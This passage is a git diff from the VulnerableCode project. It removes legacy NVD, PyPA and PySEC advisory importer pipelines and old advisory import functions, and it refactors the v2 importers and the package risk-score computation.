information is - being used - - See also https://cve.mitre.org/about/termsofuse.html - Terms of Use - LICENSE - [...] - CVE Usage: MITRE hereby grants you a perpetual, worldwide, non-exclusive, no- - charge, royalty-free, irrevocable copyright license to reproduce, prepare - derivative works of, publicly display, publicly perform, sublicense, and - distribute Common Vulnerabilities and Exposures (CVE®). Any copy you make for - such purposes is authorized provided that you reproduce MITRE's copyright - designation and this license in any such copy. DISCLAIMERS - - ALL DOCUMENTS AND THE INFORMATION CONTAINED THEREIN PROVIDED BY MITRE ARE - PROVIDED ON AN "AS IS" BASIS AND THE CONTRIBUTOR, THE ORGANIZATION HE/SHE - REPRESENTS OR IS SPONSORED BY (IF ANY), THE MITRE CORPORATION, ITS BOARD OF - TRUSTEES, OFFICERS, AGENTS, AND EMPLOYEES, DISCLAIM ALL WARRANTIES, EXPRESS OR - IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTY THAT THE USE OF THE - INFORMATION THEREIN WILL NOT INFRINGE ANY RIGHTS OR ANY IMPLIED WARRANTIES OF - MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. - """ - importer_name = "NVD Importer" - - @classmethod - def steps(cls): - return ( - cls.collect_and_store_advisories, - cls.import_new_advisories, - ) - - def advisories_count(self): - url = "https://services.nvd.nist.gov/rest/json/cves/2.0?resultsPerPage=1" - - advisory_count = 0 - try: - response = requests.get(url) - response.raise_for_status() - data = response.json() - except requests.HTTPError as http_err: - self.log( - f"HTTP error occurred: {http_err} \n {traceback_format_exc()}", - level=logging.ERROR, - ) - return advisory_count - - advisory_count = data.get("totalResults", 0) - return advisory_count - - def collect_advisories(self) -> Iterable[AdvisoryData]: - for _year, cve_data in fetch_cve_data_2_0(logger=self.log): - yield from to_advisories(cve_data=cve_data) - - -# Isolating network calls for simplicity of testing -def fetch(url, logger=None): - if logger: - logger(f"Fetching `{url}`") - gz_file = requests.get(url) - data = gzip.decompress(gz_file.content) - return json.loads(data) - - -def fetch_cve_data_2_0(starting_year=2002, logger=None): - """ - Yield tuples of (year, lists of CVE mappings) from the NVD, one for each - year since ``starting_year`` defaulting to 2002. - """ - current_year = date.today().year - # NVD json feeds start from 2002. - for year in range(starting_year, current_year + 1): - download_url = f"https://nvd.nist.gov/feeds/json/cve/2.0/nvdcve-2.0-{year}.json.gz" - yield year, fetch(url=download_url, logger=logger) - - -def to_advisories(cve_data): - """ - Yield AdvisoryData objects from a CVE json feed. - """ - for cve_item in CveItem.from_cve_data(cve_data=cve_data): - if cve_item.is_related_to_hardware or not cve_item.cve_id: - continue - yield cve_item.to_advisory() - - -@attr.attributes -class CveItem: - cve_item = attr.attrib(default=attr.Factory(dict), type=dict) - - @classmethod - def to_advisories(cls, vulnerabilities, skip_hardware=True): - """ - Yield AdvisoryData objects from ``cve_data`` data for CVE JSON 1.1feed. - Skip hardware - """ - for cve_item in CveItem.from_cve_data( - cve_data=vulnerabilities, skip_hardware=skip_hardware - ): - yield cve_item.to_advisory() - - @classmethod - def from_cve_data(cls, cve_data, skip_hardware=True): - """ - Yield CVE items mapping from a cve_data list of CVE mappings from the NVD. - """ - for cve_item in cve_data.get("vulnerabilities") or []: - if not cve_item: - continue - if not isinstance(cve_item, dict): - raise ValueError(f"cve_item: {cve_item!r} is not a mapping") - cve_item = cls(cve_item=cve_item) - if skip_hardware and cve_item.is_related_to_hardware: - continue - yield cve_item - - @property - def cve_id(self): - return self.cve_item["cve"]["id"] - - @property - def summary(self): - """ - Return a descriptive summary. - """ - # In 99% of cases len(cve_item['cve']['description']) == 1 , so - # this usually returns cve_item['cve']['description'][0]['value'] - # In the remaining 1% cases this returns the longest summary. - # FIXME: we should return the full description WITH the summary as the first line instead - summaries = [] - for desc in get_item(self.cve_item, "cve", "descriptions") or []: - if desc.get("value") and desc.get("lang") == "en": - summaries.append(desc["value"]) - return max(summaries, key=len) if summaries else None - - @property - def cpes(self): - """ - Return a list of unique CPE strings for this CVE. - """ - # FIXME: we completely ignore the configurations here - cpes = [] - for nodes in get_item(self.cve_item, "cve", "configurations") or []: - for node in nodes.get("nodes") or []: - for cpe_data in node.get("cpeMatch") or []: - cpe23_uri = cpe_data.get("criteria") - if cpe23_uri and cpe23_uri not in cpes: - cpes.append(cpe23_uri) - return cpes - - @property - def severities(self): - """ - Return a list of VulnerabilitySeverity for this CVE. - """ - severities = [] - metrics = get_item(self.cve_item, "cve", "metrics") or {} - url = f"https://nvd.nist.gov/vuln/detail/{self.cve_id}" - metric_configs = [ - ("cvssMetricV40", severity_systems.CVSSV4), - ("cvssMetricV31", severity_systems.CVSSV31), - ("cvssMetricV30", severity_systems.CVSSV3), - ("cvssMetricV2", severity_systems.CVSSV2), - ] - - for key, default_system in metric_configs: - items = metrics.get(key) or [] - - for item in items: - cvss_data = item.get("cvssData") or {} - system = default_system - if key == "cvssMetricV31" and cvss_data.get("version") != "3.1": - system = severity_systems.CVSSV3 - - severities.append( - VulnerabilitySeverity( - system=system, - value=str(cvss_data.get("baseScore") or ""), - scoring_elements=str(cvss_data.get("vectorString") or ""), - url=url, - ) - ) - return severities - - @property - def reference_urls(self): - """ - Return a list unique of reference URLs. - """ - # FIXME: we should also collect additional data from the references such as tags and ids - - urls = [] - for reference in get_item(self.cve_item, "cve", "references") or []: - ref_url = reference.get("url") - if ref_url and ref_url.startswith(("http", "ftp")) and ref_url not in urls: - urls.append(ref_url) - return urls - - @property - def references(self): - """ - Return a list of AdvisoryReference. - """ - # FIXME: we should also collect additional data from the references such as tags and ids - references = [] - - # we track each CPE as a reference for now - for cpe in self.cpes: - cpe_url = f"https://nvd.nist.gov/vuln/search/results?adv_search=true&isCpeNameSearch=true&query={cpe}" - references.append(Reference(reference_id=cpe, url=cpe_url)) - - # FIXME: we also add the CVE proper as a reference, but is this correct? - references.append( - Reference( - url=f"https://nvd.nist.gov/vuln/detail/{self.cve_id}", - reference_id=self.cve_id, - severities=self.severities, - ) - ) - - # clean to remove dupes for the CVE id proper - ref_urls = [ - ru - for ru in self.reference_urls - if ru != f"https://nvd.nist.gov/vuln/detail/{self.cve_id}" - ] - references.extend([Reference(url=url) for url in ref_urls]) - - return references - - @property - def is_related_to_hardware(self): - """ - Return True if this CVE item is for hardware (as opposed to software). - """ - return any(is_related_to_hardware(cpe) for cpe in self.cpes) - - @property - def weaknesses(self): - """ - Return a list of CWE IDs like: [119, 189] - """ - weaknesses = [] - for weaknesses_item in get_item(self.cve_item, "cve", "weaknesses") or []: - weaknesses_description = weaknesses_item.get("description") or [] - for weaknesses_value in weaknesses_description: - cwe_id = ( - weaknesses_value.get("value") if weaknesses_value.get("lang") == "en" else None - ) - if cwe_id in ["NVD-CWE-Other", "NVD-CWE-noinfo"] or not cwe_id: - continue # Skip Invalid CWE - weaknesses.append(get_cwe_id(cwe_id)) - return weaknesses - - def to_advisory(self): - """ - Return an AdvisoryData object from this CVE item - """ - return AdvisoryData( - aliases=[self.cve_id], - summary=self.summary, - references=self.references, - date_published=dateparser.parse(self.cve_item["cve"].get("published")).replace( - tzinfo=timezone.utc - ), - weaknesses=self.weaknesses, - url=f"https://nvd.nist.gov/vuln/detail/{self.cve_id}", - ) - - -def is_related_to_hardware(cpe): - """ - Return True if the ``cpe`` is related to hardware. - """ - cpe_comps = cpe.split(":") - # CPE follow the format cpe:cpe_version:product_type:vendor:product - return len(cpe_comps) > 2 and cpe_comps[2] == "h" diff --git a/vulnerabilities/pipelines/populate_vulnerability_summary_pipeline.py b/vulnerabilities/pipelines/populate_vulnerability_summary_pipeline.py deleted file mode 100644 index fb458efd5..000000000 --- a/vulnerabilities/pipelines/populate_vulnerability_summary_pipeline.py +++ /dev/null @@ -1,71 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -import logging - -from aboutcode.pipeline import LoopProgress -from django.db.models import Q - -from vulnerabilities.models import Advisory -from vulnerabilities.models import Vulnerability -from vulnerabilities.pipelines import VulnerableCodePipeline - - -class PopulateVulnerabilitySummariesPipeline(VulnerableCodePipeline): - """Pipeline to populate missing vulnerability summaries from advisories.""" - - pipeline_id = "populate_vulnerability_summaries" - - @classmethod - def steps(cls): - return (cls.populate_missing_summaries,) - - def populate_missing_summaries(self): - """Find vulnerabilities with missing summaries and populate them using advisories with the same aliases.""" - vulnerabilities_qs = Vulnerability.objects.filter(summary="") - self.log( - f"Processing {vulnerabilities_qs.count()} vulnerabilities without summaries", - level=logging.INFO, - ) - - progress = LoopProgress(total_iterations=vulnerabilities_qs.count(), logger=self.log) - - vulnerabilities_to_be_updated = [] - - for vulnerability in progress.iter(vulnerabilities_qs.iterator()): - cve_alias = vulnerability.aliases.filter(alias__startswith="CVE-").first() - - if not cve_alias: - self.log( - f"Vulnerability {vulnerability.vulnerability_id} has no CVE alias", - level=logging.DEBUG, - ) - continue - - matching_advisories = Advisory.objects.filter( - aliases=cve_alias, created_by="nvd_importer" - ).exclude(summary="") - - if matching_advisories.exists(): - best_advisory = matching_advisories.order_by("-date_collected").first() - # Note: we filtered above to only get non-empty summaries - vulnerability.summary = best_advisory.summary - vulnerabilities_to_be_updated.append(vulnerability) - self.log( - f"Updated summary for vulnerability {vulnerability.vulnerability_id}", - level=logging.INFO, - ) - else: - self.log(f"No advisory found for alias {cve_alias}", level=logging.DEBUG) - Vulnerability.objects.bulk_update(vulnerabilities_to_be_updated, ["summary"]) - self.log( - f"Successfully populated {len(vulnerabilities_to_be_updated)} vulnerabilities with summary", - level=logging.INFO, - ) - self.log("Pipeline completed", level=logging.INFO) diff --git a/vulnerabilities/pipelines/pypa_importer.py b/vulnerabilities/pipelines/pypa_importer.py deleted file mode 100644 index aebafacf4..000000000 --- a/vulnerabilities/pipelines/pypa_importer.py +++ /dev/null @@ -1,73 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -from pathlib import Path -from typing import Iterable - -import saneyaml -from fetchcode.vcs import fetch_via_vcs - -from vulnerabilities.importer import AdvisoryData -from vulnerabilities.pipelines import VulnerableCodeBaseImporterPipeline -from vulnerabilities.utils import get_advisory_url - - -class PyPaImporterPipeline(VulnerableCodeBaseImporterPipeline): - """Collect advisories from PyPA GitHub repository.""" - - pipeline_id = "pypa_importer" - - spdx_license_expression = "CC-BY-4.0" - license_url = "https://github.com/pypa/advisory-database/blob/main/LICENSE" - repo_url = "git+https://github.com/pypa/advisory-database" - importer_name = "Pypa Importer" - - @classmethod - def steps(cls): - return ( - cls.clone, - cls.collect_and_store_advisories, - cls.import_new_advisories, - cls.clean_downloads, - ) - - def clone(self): - self.log(f"Cloning `{self.repo_url}`") - self.vcs_response = fetch_via_vcs(self.repo_url) - - def advisories_count(self): - vulns_directory = Path(self.vcs_response.dest_dir) / "vulns" - return sum(1 for _ in vulns_directory.rglob("*.yaml")) - - def collect_advisories(self) -> Iterable[AdvisoryData]: - from vulnerabilities.importers.osv import parse_advisory_data - - base_directory = Path(self.vcs_response.dest_dir) - vulns_directory = base_directory / "vulns" - - for advisory in vulns_directory.rglob("*.yaml"): - advisory_url = get_advisory_url( - file=advisory, - base_path=base_directory, - url="https://github.com/pypa/advisory-database/blob/main/", - ) - advisory_dict = saneyaml.load(advisory.read_text()) - yield parse_advisory_data( - raw_data=advisory_dict, - supported_ecosystems=["pypi"], - advisory_url=advisory_url, - ) - - def clean_downloads(self): - if self.vcs_response: - self.log(f"Removing cloned repository") - self.vcs_response.delete() - - def on_failure(self): - self.clean_downloads() diff --git a/vulnerabilities/pipelines/pysec_importer.py b/vulnerabilities/pipelines/pysec_importer.py deleted file mode 100644 index 32a9fd896..000000000 --- a/vulnerabilities/pipelines/pysec_importer.py +++ /dev/null @@ -1,66 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# -import json -import logging -from io import BytesIO -from typing import Iterable -from zipfile import ZipFile - -import requests - -from vulnerabilities.importer import AdvisoryData -from vulnerabilities.pipelines import VulnerableCodeBaseImporterPipeline - - -class PyPIImporterPipeline(VulnerableCodeBaseImporterPipeline): - """Collect advisories from PyPI.""" - - pipeline_id = "pysec_importer" - - license_url = "https://github.com/pypa/advisory-database/blob/main/LICENSE" - url = "https://osv-vulnerabilities.storage.googleapis.com/PyPI/all.zip" - spdx_license_expression = "CC-BY-4.0" - importer_name = "PyPI Importer" - - @classmethod - def steps(cls): - return ( - cls.fetch_zip, - cls.collect_and_store_advisories, - cls.import_new_advisories, - ) - - def fetch_zip(self): - self.log(f"Fetching `{self.url}`") - self.advisory_zip = requests.get(self.url).content - - def advisories_count(self) -> int: - with ZipFile(BytesIO(self.advisory_zip)) as zip: - advisory_count = sum(1 for file in zip.namelist() if file.startswith("PYSEC-")) - return advisory_count - - def collect_advisories(self) -> Iterable[AdvisoryData]: - """Yield AdvisoryData using a zipped data dump of OSV data""" - from vulnerabilities.importers.osv import parse_advisory_data - - with ZipFile(BytesIO(self.advisory_zip)) as zip_file: - for file_name in zip_file.namelist(): - if not file_name.startswith("PYSEC-"): - self.log( - f"Unsupported PyPI advisory data file: {file_name}", - level=logging.ERROR, - ) - continue - with zip_file.open(file_name) as f: - vul_info = json.load(f) - yield parse_advisory_data( - raw_data=vul_info, - supported_ecosystems=["pypi"], - advisory_url=self.url, - ) diff --git a/vulnerabilities/pipelines/remove_duplicate_advisories.py b/vulnerabilities/pipelines/remove_duplicate_advisories.py deleted file mode 100644 index 1a55507a6..000000000 --- a/vulnerabilities/pipelines/remove_duplicate_advisories.py +++ /dev/null @@ -1,111 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -from aboutcode.pipeline import LoopProgress - -from vulnerabilities.models import Advisory -from vulnerabilities.pipelines import VulnerableCodePipeline -from vulnerabilities.utils import compute_content_id - - -class RemoveDuplicateAdvisoriesPipeline(VulnerableCodePipeline): - """Pipeline to compute new advisory content id and remove duplicate advisories based on their content.""" - - pipeline_id = "remove_duplicate_advisories" - run_once = True - - @classmethod - def steps(cls): - return (cls.remove_duplicates,) - - def remove_duplicates(self): - """ - Recompute the content ID and remove duplicate advisories, keeping the oldest one. - """ - - advisories_count = Advisory.objects.all().count() - self.log(f"Computing new content id for {advisories_count} and removing duplicates.") - - update_batch_size = 500 - delete_batch_size = 5000 - chunk_size = 5000 - deleted_advisories_count = 0 - updated_advisories_count = 0 - duplicate_advisory_ids = [] - advisories_to_update = [] - content_ids = set() - - advisories = Advisory.objects.all().order_by("id").iterator(chunk_size=chunk_size) - - progress = LoopProgress( - total_iterations=advisories_count, - logger=self.log, - progress_step=1, - ) - - for advisory in progress.iter(advisories): - content_id = compute_content_id(advisory.to_advisory_data()) - - if content_id in content_ids: - duplicate_advisory_ids.append(advisory.id) - else: - content_ids.add(content_id) - if advisory.unique_content_id != content_id: - advisory.unique_content_id = content_id - advisories_to_update.append(advisory) - - if len(duplicate_advisory_ids) > delete_batch_size: - deleted_advisories_count += delete_advisories( - advisory_ids=duplicate_advisory_ids, - logger=self.log, - ) - duplicate_advisory_ids.clear() - - if len(advisories_to_update) > update_batch_size: - updated_advisories_count += bulk_update_advisories( - advisories=advisories_to_update, - fields=["unique_content_id"], - logger=self.log, - ) - advisories_to_update.clear() - - deleted_advisories_count += delete_advisories( - advisory_ids=duplicate_advisory_ids, - logger=self.log, - ) - updated_advisories_count += bulk_update_advisories( - advisories=advisories_to_update, - fields=["unique_content_id"], - logger=self.log, - ) - - self.log(f"Removed {deleted_advisories_count} duplicates advisories.") - self.log(f"Updated content id for {deleted_advisories_count} advisories.") - - -def bulk_update_advisories(advisories, fields, logger): - item_count = 0 - if advisories: - try: - Advisory.objects.bulk_update(objs=advisories, fields=fields) - item_count += len(advisories) - except Exception as e: - logger(f"Error updating Advisory: {e}") - return item_count - - -def delete_advisories(advisory_ids, logger): - item_count = 0 - if advisory_ids: - try: - Advisory.objects.filter(id__in=advisory_ids).delete() - item_count += len(advisory_ids) - except Exception as e: - logger(f"Error deleting Advisory: {e}") - return item_count diff --git a/vulnerabilities/pipelines/v2_importers/alpine_linux_importer.py b/vulnerabilities/pipelines/v2_importers/alpine_linux_importer.py index e7417c5a1..10501c60d 100644 --- a/vulnerabilities/pipelines/v2_importers/alpine_linux_importer.py +++ b/vulnerabilities/pipelines/v2_importers/alpine_linux_importer.py @@ -109,7 +109,7 @@ def check_for_attributes(record, logger) -> bool: def process_record(record: dict, url: str, logger: callable) -> Iterable[AdvisoryDataV2]: """ - Return a list of AdvisoryData objects by processing data + Return a list of AdvisoryDataV2 objects by processing data present in that `record` """ if not record.get("packages"): @@ -147,7 +147,7 @@ def load_advisories( logger: callable, ) -> Iterable[AdvisoryDataV2]: """ - Yield AdvisoryData by mapping data from `pkg_infos` + Yield AdvisoryDataV2 by mapping data from `pkg_infos` and form PURL for AffectedPackages by using `distroversion`, `reponame`, `archs` """ diff --git a/vulnerabilities/pipelines/v2_importers/debian_importer.py b/vulnerabilities/pipelines/v2_importers/debian_importer.py index 4f72aedc8..f0199175f 100644 --- a/vulnerabilities/pipelines/v2_importers/debian_importer.py +++ b/vulnerabilities/pipelines/v2_importers/debian_importer.py @@ -16,7 +16,6 @@ from packageurl import PackageURL from univers.version_range import DebianVersionRange -from vulnerabilities.importer import AdvisoryData from vulnerabilities.importer import AdvisoryDataV2 from vulnerabilities.importer import AffectedPackageV2 from vulnerabilities.importer import ReferenceV2 @@ -106,13 +105,13 @@ def advisories_count(self) -> int: adv_count += recs return adv_count - def collect_advisories(self) -> Iterable[AdvisoryData]: + def collect_advisories(self) -> Iterable[AdvisoryDataV2]: if not self.response: self.response = self.get_response() for pkg_name, records in self.response.items(): yield from self.parse(pkg_name, records) - def parse(self, pkg_name: str, records: Mapping[str, Any]) -> Iterable[AdvisoryData]: + def parse(self, pkg_name: str, records: Mapping[str, Any]) -> Iterable[AdvisoryDataV2]: for record_identifier, record in records.items(): affected_versions = [] diff --git a/vulnerabilities/pipelines/v2_importers/vulnrichment_importer.py b/vulnerabilities/pipelines/v2_importers/vulnrichment_importer.py index 3edb1a000..501592267 100644 --- a/vulnerabilities/pipelines/v2_importers/vulnrichment_importer.py +++ b/vulnerabilities/pipelines/v2_importers/vulnrichment_importer.py @@ -10,7 +10,7 @@ from vulnerabilities.importer import AdvisoryDataV2 from vulnerabilities.importer import ReferenceV2 from vulnerabilities.importer import VulnerabilitySeverity -from vulnerabilities.models import VulnerabilityReference +from vulnerabilities.models import AdvisoryReference from vulnerabilities.pipelines import VulnerableCodeBaseImporterPipelineV2 from vulnerabilities.severity_systems import SCORING_SYSTEMS from vulnerabilities.utils import get_advisory_url @@ -148,14 +148,14 @@ def parse_cve_advisory(self, raw_data, advisory_url): for ref in cna_data.get("references", []): # https://github.com/CVEProject/cve-schema/blob/main/schema/tags/reference-tags.json # We removed all unwanted reference types and set the default reference type to 'OTHER'. - ref_type = VulnerabilityReference.OTHER + ref_type = AdvisoryReference.OTHER vul_ref_types = { - "exploit": VulnerabilityReference.EXPLOIT, - "issue-tracking": VulnerabilityReference.BUG, - "mailing-list": VulnerabilityReference.MAILING_LIST, - "third-party-advisory": VulnerabilityReference.ADVISORY, - "vendor-advisory": VulnerabilityReference.ADVISORY, - "vdb-entry": VulnerabilityReference.ADVISORY, + "exploit": AdvisoryReference.EXPLOIT, + "issue-tracking": AdvisoryReference.BUG, + "mailing-list": AdvisoryReference.MAILING_LIST, + "third-party-advisory": AdvisoryReference.ADVISORY, + "vendor-advisory": AdvisoryReference.ADVISORY, + "vdb-entry": AdvisoryReference.ADVISORY, } for tag_type in ref.get("tags", []): @@ -174,7 +174,7 @@ def parse_cve_advisory(self, raw_data, advisory_url): cpes_ref = [ ReferenceV2( reference_id=cpe, - reference_type=VulnerabilityReference.OTHER, + reference_type=AdvisoryReference.OTHER, url=f"https://nvd.nist.gov/vuln/search/results?adv_search=true&isCpeNameSearch=true&query={cpe}", ) for cpe in sorted(list(cpes)) diff --git a/vulnerabilities/pipelines/v2_importers/xen_importer.py b/vulnerabilities/pipelines/v2_importers/xen_importer.py index 6968a23cb..87b476ea3 100644 --- a/vulnerabilities/pipelines/v2_importers/xen_importer.py +++ b/vulnerabilities/pipelines/v2_importers/xen_importer.py @@ -15,7 +15,7 @@ from vulnerabilities.importer import AdvisoryDataV2 from vulnerabilities.importer import ReferenceV2 from vulnerabilities.pipelines import VulnerableCodeBaseImporterPipelineV2 -from vulnerabilities.references import XsaReference +from vulnerabilities.references import XsaReferenceV2 from vulnerabilities.utils import fetch_response @@ -87,7 +87,7 @@ def to_advisories(self, xsa) -> Iterable[AdvisoryDataV2]: references = [] if xsa_id: - xsa_reference = XsaReference.from_number(number=xsa_id) + xsa_reference = XsaReferenceV2.from_number(number=xsa_id) references.append(ReferenceV2(url=xsa_reference.url)) title = xsa.get("title", "") diff --git a/vulnerabilities/pipelines/v2_improvers/compute_package_risk.py b/vulnerabilities/pipelines/v2_improvers/compute_package_risk.py index b4b5cd235..58c187114 100644 --- a/vulnerabilities/pipelines/v2_improvers/compute_package_risk.py +++ b/vulnerabilities/pipelines/v2_improvers/compute_package_risk.py @@ -6,6 +6,8 @@ # See https://github.com/aboutcode-org/vulnerablecode for support or download. # See https://aboutcode.org for more information about nexB OSS projects. # +from urllib.parse import urlparse + from aboutcode.pipeline import LoopProgress from django.db.models import Max from django.db.models import Prefetch @@ -18,7 +20,10 @@ from vulnerabilities.models import PipelineSchedule from vulnerabilities.pipelines import VulnerableCodePipeline from vulnerabilities.pipes.risk_score import bulk_update -from vulnerabilities.risk import compute_vulnerability_risk_factors +from vulnerabilities.severity_systems import EPSS +from vulnerabilities.weight_config import WEIGHT_CONFIG + +DEFAULT_WEIGHT = 5 class ComputePackageRiskPipeline(VulnerableCodePipeline): @@ -183,3 +188,90 @@ def compute_and_store_package_risk_score(self): logger=self.log, ) self.log(f"Successfully added risk score for {updated:,d} package") + + +def compute_vulnerability_risk_factors(references, severities, exploits): + """ + Risk may be expressed as a number ranging from 0 to 10. + Risk is calculated from weighted severity and exploitability values. + It is the maximum value of (the weighted severity multiplied by its exploitability) or 10 + + Risk = min(weighted severity * exploitability, 10) + """ + weighted_severity = get_weighted_severity(severities) + exploitability = get_exploitability_level(exploits, references, severities) + return weighted_severity, exploitability + + +def get_weighted_severity(severities): + """ + Weighted Severity is the maximum value obtained when each Severity is multiplied + by its associated Weight/10. + Example of Weighted Severity: max(7*(10/10), 8*(3/10), 6*(8/10)) = 7 + """ + if not severities: + return 0 + + score_map = { + "low": 3, + "moderate": 6.9, + "medium": 6.9, + "high": 8.9, + "important": 8.9, + "critical": 10.0, + "urgent": 10.0, + } + + score_list = [] + for severity in severities: + if not severity.url: + continue + parsed_url = urlparse(severity.url) + severity_source = parsed_url.netloc.replace("www.", "", 1) + weight = WEIGHT_CONFIG.get(severity_source, DEFAULT_WEIGHT) + max_weight = float(weight) / 10 + vul_score = severity.value + if not vul_score: + continue + try: + vul_score = float(vul_score) + vul_score_value = vul_score * max_weight + except ValueError: + vul_score = vul_score.lower() + vul_score_value = score_map.get(vul_score, 0) * max_weight + + score_list.append(vul_score_value) + + max_score = max(score_list) if score_list else 0 + return round(max_score, 1) + + +def get_exploitability_level(exploits, references, severities): + """ + Exploitability refers to the potential or + probability of a software package vulnerability being exploited by + malicious actors to compromise systems, applications, or networks. + It is determined automatically by discovery of exploits. + """ + # no exploit known ( default .5) + exploit_level = 0.5 + + if exploits: + # Automatable Exploit with PoC script published OR known exploits (KEV) in the wild OR known ransomware + exploit_level = 2 + + elif severities: + # high EPSS. + for severity in severities: + if severity.scoring_system == EPSS.identifier and float(severity.value) > 0.8: + exploit_level = 2 + break + + elif references: + # PoC/Exploit script published + for reference in references: + if reference.reference_type == AdvisoryReference.EXPLOIT: + exploit_level = 1 + break + + return exploit_level diff --git a/vulnerabilities/pipes/advisory.py b/vulnerabilities/pipes/advisory.py index fec72e66f..f785e25e0 100644 --- a/vulnerabilities/pipes/advisory.py +++ b/vulnerabilities/pipes/advisory.py @@ -24,39 +24,22 @@ from packageurl.contrib.url2purl import url2purl from aboutcode.hashid import get_core_purl -from vulnerabilities.importer import AdvisoryData from vulnerabilities.importer import AdvisoryDataV2 from vulnerabilities.importer import AffectedPackageV2 from vulnerabilities.importer import PackageCommitPatchData from vulnerabilities.importer import PatchData from vulnerabilities.importer import ReferenceV2 -from vulnerabilities.improver import MAX_CONFIDENCE -from vulnerabilities.models import Advisory from vulnerabilities.models import AdvisoryAlias from vulnerabilities.models import AdvisoryReference from vulnerabilities.models import AdvisorySeverity from vulnerabilities.models import AdvisoryV2 from vulnerabilities.models import AdvisoryWeakness -from vulnerabilities.models import AffectedByPackageRelatedVulnerability -from vulnerabilities.models import Alias -from vulnerabilities.models import FixingPackageRelatedVulnerability -from vulnerabilities.models import Package from vulnerabilities.models import PackageCommitPatch from vulnerabilities.models import Patch -from vulnerabilities.models import VulnerabilityReference -from vulnerabilities.models import VulnerabilityRelatedReference -from vulnerabilities.models import VulnerabilitySeverity -from vulnerabilities.models import Weakness from vulnerabilities.pipes.risk_score import compute_advisory_risk_score from vulnerabilities.pipes.univers_utils import get_exact_purls_v2 -def get_or_create_aliases(aliases: List) -> QuerySet: - for alias in aliases: - Alias.objects.get_or_create(alias=alias) - return Alias.objects.filter(alias__in=aliases) - - def get_or_create_advisory_aliases(aliases: List[str]) -> List[AdvisoryAlias]: existing = AdvisoryAlias.objects.filter(alias__in=aliases) existing_aliases = {a.alias for a in existing} @@ -250,44 +233,6 @@ def classify_patch_source(url, commit_hash, patch_text): ] -def insert_advisory(advisory: AdvisoryData, pipeline_id: str, logger: Callable = None): - from vulnerabilities.utils import compute_content_id - - advisory_obj = None - aliases = get_or_create_aliases(aliases=advisory.aliases) - content_id = compute_content_id(advisory_data=advisory) - try: - default_data = { - "summary": advisory.summary, - "affected_packages": [pkg.to_dict() for pkg in advisory.affected_packages], - "references": [ref.to_dict() for ref in advisory.references], - "date_published": advisory.date_published, - "weaknesses": advisory.weaknesses, - "created_by": pipeline_id, - "date_collected": datetime.now(timezone.utc), - } - - advisory_obj, _ = Advisory.objects.get_or_create( - unique_content_id=content_id, - url=advisory.url, - defaults=default_data, - ) - advisory_obj.aliases.add(*aliases) - except Advisory.MultipleObjectsReturned: - logger.error( - f"Multiple Advisories returned: unique_content_id: {content_id}, url: {advisory.url}, advisory: {advisory!r}" - ) - raise - except Exception as e: - if logger: - logger( - f"Error while processing {advisory!r} with aliases {advisory.aliases!r}: {e!r} \n {traceback_format_exc()}", - level=logging.ERROR, - ) - - return advisory_obj - - @transaction.atomic def insert_advisory_v2( advisory: AdvisoryDataV2, @@ -419,119 +364,8 @@ def insert_advisory_v2( return advisory_obj -@transaction.atomic -def import_advisory( - advisory: Advisory, - pipeline_id: str, - confidence: int = MAX_CONFIDENCE, - logger: Callable = None, -): - """ - Create initial Vulnerability Package relationships for the advisory, - including references and severity scores. - - Package relationships are established only for resolved (concrete) versions. - """ - from vulnerabilities import import_runner - from vulnerabilities.improvers import default - - advisory_data: AdvisoryData = advisory.to_advisory_data() - if logger: - logger(f"Importing advisory id: {advisory.id}", level=logging.DEBUG) - - affected_purls = [] - fixed_purls = [] - for affected_package in advisory_data.affected_packages: - package_affected_purls, package_fixed_purls = default.get_exact_purls( - affected_package=affected_package - ) - affected_purls.extend(package_affected_purls) - fixed_purls.extend(package_fixed_purls) - - aliases = get_or_create_aliases(advisory_data.aliases) - vulnerability = import_runner.get_or_create_vulnerability_and_aliases( - vulnerability_id=None, - aliases=aliases, - summary=advisory_data.summary, - advisory=advisory, - ) - - if not vulnerability: - if logger: - logger(f"Unable to get vulnerability for advisory: {advisory!r}", level=logging.ERROR) - return - - for ref in advisory_data.references: - reference = VulnerabilityReference.objects.get_or_none( - reference_id=ref.reference_id, - url=ref.url, - ) - if not reference: - reference = import_runner.create_valid_vulnerability_reference( - reference_id=ref.reference_id, - url=ref.url, - ) - if reference: - VulnerabilityRelatedReference.objects.update_or_create( - reference=reference, - vulnerability=vulnerability, - ) - for severity in ref.severities: - try: - published_at = str(severity.published_at) if severity.published_at else None - vulnerability_severity, created = VulnerabilitySeverity.objects.update_or_create( - scoring_system=severity.system.identifier, - url=ref.url, - value=severity.value, - scoring_elements=severity.scoring_elements, - defaults={ - "published_at": published_at, - }, - ) - vulnerability.severities.add(vulnerability_severity) - if not created and logger: - logger( - f"Severity updated for reference {ref.url!r} to value: {severity.value!r} " - f"and scoring_elements: {severity.scoring_elements!r}", - level=logging.DEBUG, - ) - except: - if logger: - logger( - f"Failed to create VulnerabilitySeverity for: {severity} with error:\n{traceback_format_exc()}", - level=logging.ERROR, - ) - - for affected_purl in affected_purls or []: - vulnerable_package, _ = Package.objects.get_or_create_from_purl(purl=affected_purl) - AffectedByPackageRelatedVulnerability( - vulnerability=vulnerability, - package=vulnerable_package, - 